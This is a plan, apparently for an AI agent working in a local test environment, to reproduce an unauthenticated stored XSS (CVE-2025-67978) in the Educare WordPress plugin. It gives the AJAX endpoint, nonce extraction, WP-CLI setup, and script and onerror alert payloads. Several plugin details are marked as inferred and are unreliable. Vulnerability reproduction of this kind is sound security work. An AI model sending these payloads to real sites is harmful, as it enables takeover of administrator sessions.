Research Plan: CVE-2025-67978 - Educare Stored XSS

1. Vulnerability Summary

The Educare – Students & Result Management System plugin (up to version 1.6.1) contains an unauthenticated stored cross-site scripting vulnerability. The flaw exists because the plugin fails to sanitize user-provided student information during the admission/registration process and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard. This allows an unauthenticated attacker to inject malicious JavaScript that executes in the context of an administrator viewing the student records.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: educare_student_admission (inferred from typical Educare AJAX structure)
• Vulnerable Parameters: student_name, father_name, address, or other student profile fields.
• Authentication: None required (wp_ajax_nopriv_ handler).
• Preconditions: The plugin must be active. A nonce is likely required for the AJAX request, which can be retrieved from the public-facing admission form page.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an unauthenticated AJAX handler:
   add_action('wp_ajax_nopriv_educare_student_admission', 'educare_student_admission_callback');
2. Processing: Inside educare_student_admission_callback, the code retrieves student data from $_POST:

   $student_name = $_POST['student_name']; // Missing sanitize_text_field()
   

3. Storage: The unsanitized input is stored in the database, either in a custom table (e.g., {$wpdb->prefix}educare_students) or as a custom post type.
4. Sink: When an administrator navigates to the "Educare -> Students" menu in the dashboard, the plugin retrieves the record and echoes the name without escaping:

   echo "<td>" . $student->student_name . "</td>"; // Missing esc_html()
   

4. Nonce Acquisition Strategy

The Educare plugin typically enqueues a script on pages containing the admission form shortcode and localizes a nonce.

1. Identify Shortcode: The primary admission form shortcode is [educare_admission_form] (inferred).
2. Setup Page: Create a public page containing this shortcode to force the plugin to load its assets and nonces.
3. Extract Nonce:
   • Navigate to the newly created page.
   • The plugin likely uses wp_localize_script with an object name like educare_obj or educare_vars.
   • Use browser_eval to extract the nonce: window.educare_obj?.nonce or window.educare_vars?.nonce.

5. Exploitation Strategy

Step 1: Discover/Create Admission Page

Check for existing pages with the shortcode or create one:
wp post create --post_type=page --post_title="Admission" --post_status=publish --post_content='[educare_admission_form]'

Step 2: Extract Nonce

Use the browser_navigate and browser_eval tools to find the nonce variable.

• Target URL: /admission
• JS Variable to check: educare_vars (Verify using browser_eval("window") if unknown).

Step 3: Inject Payload

Perform a POST request to admin-ajax.php using the http_request tool.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: educare_student_admission (inferred)
  • educare_nonce: [EXTRACTED_NONCE]
  • student_name: <script>alert('XSS_STUDENT_NAME')</script>
  • father_name: Test Father
  • email: attacker@example.com
  • phone: 1234567890
  • address: <img src=x onerror=alert('XSS_ADDRESS')>

6. Test Data Setup

1. Plugin Installation: Ensure educare version 1.6.1 is installed and active.
2. Page Creation:

   wp post create --post_type=page --post_title="Apply Now" --post_status=publish --post_content='[educare_admission_form]'
   

3. Administrator User: Ensure an admin user exists to trigger the stored payload.

7. Expected Results

1. The AJAX request should return a success message (e.g., {"success":true} or a HTML success snippet).
2. When an administrator logs in and visits wp-admin/admin.php?page=educare-students (or the relevant student list page), the browser should execute the injected JavaScript, displaying alert boxes for XSS_STUDENT_NAME or XSS_ADDRESS.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored raw in the database:

   wp db query "SELECT student_name FROM wp_educare_students WHERE email='attacker@example.com';"
   

   (Note: Table name may vary; use wp db tables to find the correct Educare student table).
2. DOM Verification: Use browser_navigate to the admin student list and use browser_eval to check if the payload exists in the HTML source:

   document.body.innerHTML.includes("<script>alert('XSS_STUDENT_NAME')</script>")
   

9. Alternative Approaches

• Registration Form: If educare_student_admission is not the correct action, look for educare_student_registration or check the includes/class-educare-ajax.php file for any function hooked to wp_ajax_nopriv_.
• Result Search: If admission is disabled, check if the "Search Result" functionality ([educare_student_result]) logs searches in a way that is viewable by admins.
• Direct Post Creation: If the plugin treats students as a Custom Post Type (CPT) and allows unauthenticated "submissions," use the standard wp-json/wp/v2/students endpoint if REST API is enabled and improperly secured.